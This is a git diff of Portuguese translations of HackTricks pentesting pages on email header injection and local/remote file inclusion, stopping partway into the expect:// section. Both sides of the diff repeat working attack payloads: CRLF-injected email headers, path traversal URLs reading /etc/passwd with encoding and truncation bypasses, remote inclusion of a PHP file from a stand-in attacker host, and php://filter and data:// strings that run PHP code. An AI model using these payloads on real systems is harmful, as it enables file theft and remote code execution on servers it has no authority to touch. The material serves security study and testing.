* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Acesse hoje mesmo:
|
Acesse hoje mesmo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
@ -17,7 +17,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -40,7 +40,7 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||||
```
|
```
|
||||||
### Alterar o corpo da mensagem
|
### Alterar o corpo da mensagem
|
||||||
|
|
||||||
Injete duas quebras de linha e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
|
Injete uma quebra de linha de duas linhas e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
|
||||||
```
|
```
|
||||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||||
```
|
```
|
||||||
|
@ -68,15 +68,15 @@ Este parâmetro será adicionado à linha de comando que o PHP usará para invoc
|
||||||
|
|
||||||
Um atacante pode **injetar parâmetros extras para o sendmail** neste caso.
|
Um atacante pode **injetar parâmetros extras para o sendmail** neste caso.
|
||||||
|
|
||||||
#### Diferenças na implementação do /usr/sbin/sendmail
|
#### Diferenças na implementação de /usr/sbin/sendmail
|
||||||
|
|
||||||
A interface do **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
|
A interface do **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.
|
||||||
|
|
||||||
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
|
Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:
|
||||||
|
|
||||||
- Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
|
||||||
- Postfix MTA: http://www.postfix.org/mailq.1.html
|
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||||||
- Exim MTA: https://linux.die.net/man/8/eximReferences
|
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||||||
|
|
||||||
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusá-los e **vazar arquivos ou até mesmo executar comandos arbitrários**. Verifique como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusá-los e **vazar arquivos ou até mesmo executar comandos arbitrários**. Verifique como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||||
|
|
||||||
|
@ -86,11 +86,11 @@ Dependendo da **origem do binário sendmail**, diferentes opções foram descobe
|
||||||
|
|
||||||
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail
|
Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail
|
||||||
|
|
||||||
- Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
|
* Por exemplo: john.doe+intigriti@example.com → john.doe@example.com
|
||||||
|
|
||||||
**Comentários entre parênteses ()** no início ou no final também serão ignorados
|
**Comentários entre parênteses ()** no início ou no final também serão ignorados
|
||||||
|
|
||||||
- Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
|
* Por exemplo: john.doe(intigriti)@example.com → john.doe@example.com
|
||||||
|
|
||||||
### Desvio de lista branca
|
### Desvio de lista branca
|
||||||
|
|
||||||
|
@ -104,8 +104,8 @@ Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcaç
|
||||||
|
|
||||||
Você também pode usar IPs como nomes de domínio entre colchetes:
|
Você também pode usar IPs como nomes de domínio entre colchetes:
|
||||||
|
|
||||||
- john.doe@\[127.0.0.1]
|
* john.doe@\[127.0.0.1]
|
||||||
- john.doe@\[IPv6:2001:db8::1]
|
* john.doe@\[IPv6:2001:db8::1]
|
||||||
|
|
||||||
### Outras vulnerabilidades
|
### Outras vulnerabilidades
|
||||||
|
|
||||||
|
@ -115,11 +115,11 @@ Você também pode usar IPs como nomes de domínio entre colchetes:
|
||||||
|
|
||||||
### XSS
|
### XSS
|
||||||
|
|
||||||
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderia causar **XSS**.
|
Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS nele**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você poderia causar **XSS**.
|
||||||
|
|
||||||
### Tomada de Conta
|
### Tomada de Conta
|
||||||
|
|
||||||
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e então você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\
|
Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como o **salesforce**) e então você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\
|
||||||
_Obs.: o salesforce indica se o e-mail fornecido foi ou não verificado, então a aplicação deve levar em consideração essa informação._
|
_Obs.: o salesforce indica se o e-mail fornecido foi ou não verificado, então a aplicação deve levar em consideração essa informação._
|
||||||
|
|
||||||
## Responder a
|
## Responder a
|
||||||
|
@ -136,14 +136,14 @@ No contexto da AWS, se você enviar 1000 e-mails e 100 deles resultarem em rejei
|
||||||
|
|
||||||
É crucial manter uma baixa taxa de rejeição dura para garantir um serviço de e-mail ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de e-mail em suas listas de envio pode ajudar significativamente a alcançar esse objetivo.
|
É crucial manter uma baixa taxa de rejeição dura para garantir um serviço de e-mail ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de e-mail em suas listas de envio pode ajudar significativamente a alcançar esse objetivo.
|
||||||
|
|
||||||
Para obter informações mais detalhadas, a documentação oficial da AWS sobre o tratamento de rejeições e reclamações pode ser consultada em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
Para obter informações mais detalhadas, consulte a documentação oficial da AWS sobre o tratamento de rejeições e reclamações em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||||||
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||||
- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
|
||||||
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -151,11 +151,11 @@ Para obter informações mais detalhadas, a documentação oficial da AWS sobre
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
- Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
|
@ -9,8 +9,8 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -22,10 +22,10 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
||||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||||
|
|
||||||
**Notícias de Hacking em Tempo Real**\
|
**Notícias de Hacking em Tempo Real**\
|
||||||
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado por meio de notícias e percepções em tempo real
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||||
|
|
||||||
**Últimos Anúncios**\
|
**Últimos Anúncios**\
|
||||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais da plataforma
|
Fique informado sobre os mais recentes lançamentos de recompensas por bugs e atualizações cruciais da plataforma
|
||||||
|
|
||||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||||
```
|
```
|
||||||
### **Linux**
|
### **Linux**
|
||||||
|
|
||||||
**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:**
|
**Misturando várias listas de LFI \*nix e adicionando mais caminhos, criei esta:**
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||||
|
|
||||||
|
@ -57,7 +57,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para
|
||||||
|
|
||||||
### **Windows**
|
### **Windows**
|
||||||
|
|
||||||
Mesclagem de diferentes listas de palavras:
|
Mescla de diferentes listas de palavras:
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||||
|
|
||||||
|
@ -68,7 +68,7 @@ Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para ver
|
||||||
|
|
||||||
### **OS X**
|
### **OS X**
|
||||||
|
|
||||||
Verifique a lista LFI do Linux.
|
Verifique a lista de LFI do Linux.
|
||||||
|
|
||||||
## LFI básico e bypasses
|
## LFI básico e bypasses
|
||||||
|
|
||||||
|
@ -99,7 +99,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||||
```
|
```
|
||||||
### Da pasta existente
|
### A partir da pasta existente
|
||||||
|
|
||||||
Talvez o back-end esteja verificando o caminho da pasta:
|
Talvez o back-end esteja verificando o caminho da pasta:
|
||||||
```python
|
```python
|
||||||
|
@ -110,7 +110,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||||
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
|
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
|
||||||
|
|
||||||
1. **Determinar a Profundidade do Diretório:**
|
1. **Determinar a Profundidade do Diretório:**
|
||||||
Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||||
```
|
```
|
||||||
|
@ -127,7 +127,7 @@ A resposta do servidor indica se a pasta existe:
|
||||||
4. **Exploração Recursiva:**
|
4. **Exploração Recursiva:**
|
||||||
As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
|
As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
|
||||||
|
|
||||||
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
|
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
|
||||||
```bash
|
```bash
|
||||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||||
```
|
```
|
||||||
|
@ -151,13 +151,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||||
```
|
```
|
||||||
Nos cenários mencionados, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
|
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
|
||||||
|
|
||||||
- **Usando Segmentos de Ponto e Caracteres Adicionais**:
|
- **Usando Segmentos de Ponto e Caracteres Adicionais**:
|
||||||
Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
|
Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente strings anexadas pelo servidor.
|
||||||
|
|
||||||
- **Determinando o Número Necessário de Travessias**:
|
- **Determinando o Número Necessário de Travessias**:
|
||||||
Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
Por tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
||||||
|
|
||||||
- **Começando com um Diretório Falso**:
|
- **Começando com um Diretório Falso**:
|
||||||
É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
||||||
|
@ -174,9 +174,9 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
||||||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||||
http://example.com/index.php?page=PhP://filter
|
http://example.com/index.php?page=PhP://filter
|
||||||
```
|
```
|
||||||
## Inclusão de Arquivo Remoto
|
## Inclusão Remota de Arquivos
|
||||||
|
|
||||||
No PHP, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
|
No php, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
|
@ -213,9 +213,9 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||||
```
|
```
|
||||||
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||||
|
|
||||||
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.
|
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
|
||||||
|
|
||||||
## Listagem de Diretórios em Java
|
## Listagem de Diretórios Java
|
||||||
|
|
||||||
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
|
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
|
||||||
|
|
||||||
|
@ -253,13 +253,13 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vu
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
Os filtros PHP permitem realizar operações básicas de **modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
||||||
|
|
||||||
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
|
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
|
||||||
* `string.rot13`
|
* `string.rot13`
|
||||||
* `string.toupper`
|
* `string.toupper`
|
||||||
* `string.tolower`
|
* `string.tolower`
|
||||||
* `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
|
* `string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">")
|
||||||
* Note que este filtro desapareceu das versões modernas do PHP
|
* Note que este filtro desapareceu das versões modernas do PHP
|
||||||
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
|
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
|
||||||
* `convert.base64-encode`
|
* `convert.base64-encode`
|
||||||
|
@ -269,7 +269,7 @@ Os filtros PHP permitem realizar operações básicas de modificação nos dados
|
||||||
* `convert.iconv.*`: Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
* `convert.iconv.*`: Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
Ao abusar do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php)
|
* [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php)
|
||||||
|
@ -279,9 +279,9 @@ Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arb
|
||||||
* `mcrypt.*`: Obsoleto
|
* `mcrypt.*`: Obsoleto
|
||||||
* `mdecrypt.*`: Obsoleto
|
* `mdecrypt.*`: Obsoleto
|
||||||
* Outros Filtros
|
* Outros Filtros
|
||||||
* Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
|
* Executando `var_dump(stream_get_filters());` no PHP, você pode encontrar alguns **filtros inesperados**:
|
||||||
* `consumed`
|
* `consumed`
|
||||||
* `dechunk`: reverte a codificação chunked HTTP
|
* `dechunk`: reverte a codificação chunked do HTTP
|
||||||
* `convert.*`
|
* `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
|
@ -342,7 +342,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||||||
```
|
```
|
||||||
### data://
|
### data://
|
||||||
|
|
||||||
O esquema `data://` permite incluir dados diretamente no código-fonte de uma página da web, sem a necessidade de um arquivo externo. Isso pode ser explorado por hackers para injetar código malicioso e executá-lo no contexto do site vulnerável. É importante garantir que a entrada de dados seja devidamente validada e sanitizada para evitar vulnerabilidades de inclusão de arquivos.
|
A pseudofunção `data://` permite que você inclua dados diretamente no código-fonte da página da web. Isso pode ser útil para injetar payloads maliciosos em um site vulnerável. Por exemplo, você pode usar `data://` para incluir um script malicioso diretamente na página da web, explorando uma vulnerabilidade de inclusão de arquivo.
|
||||||
```
|
```
|
||||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||||
|
@ -356,7 +356,7 @@ Note que este protocolo é restrito pelas configurações do php **`allow_url_op
|
||||||
|
|
||||||
### expect://
|
### expect://
|
||||||
|
|
||||||
Expect deve estar ativado. Você pode executar código usando isso:
|
Expect deve ser ativado. Você pode executar código usando isso:
|
||||||
```
|
```
|
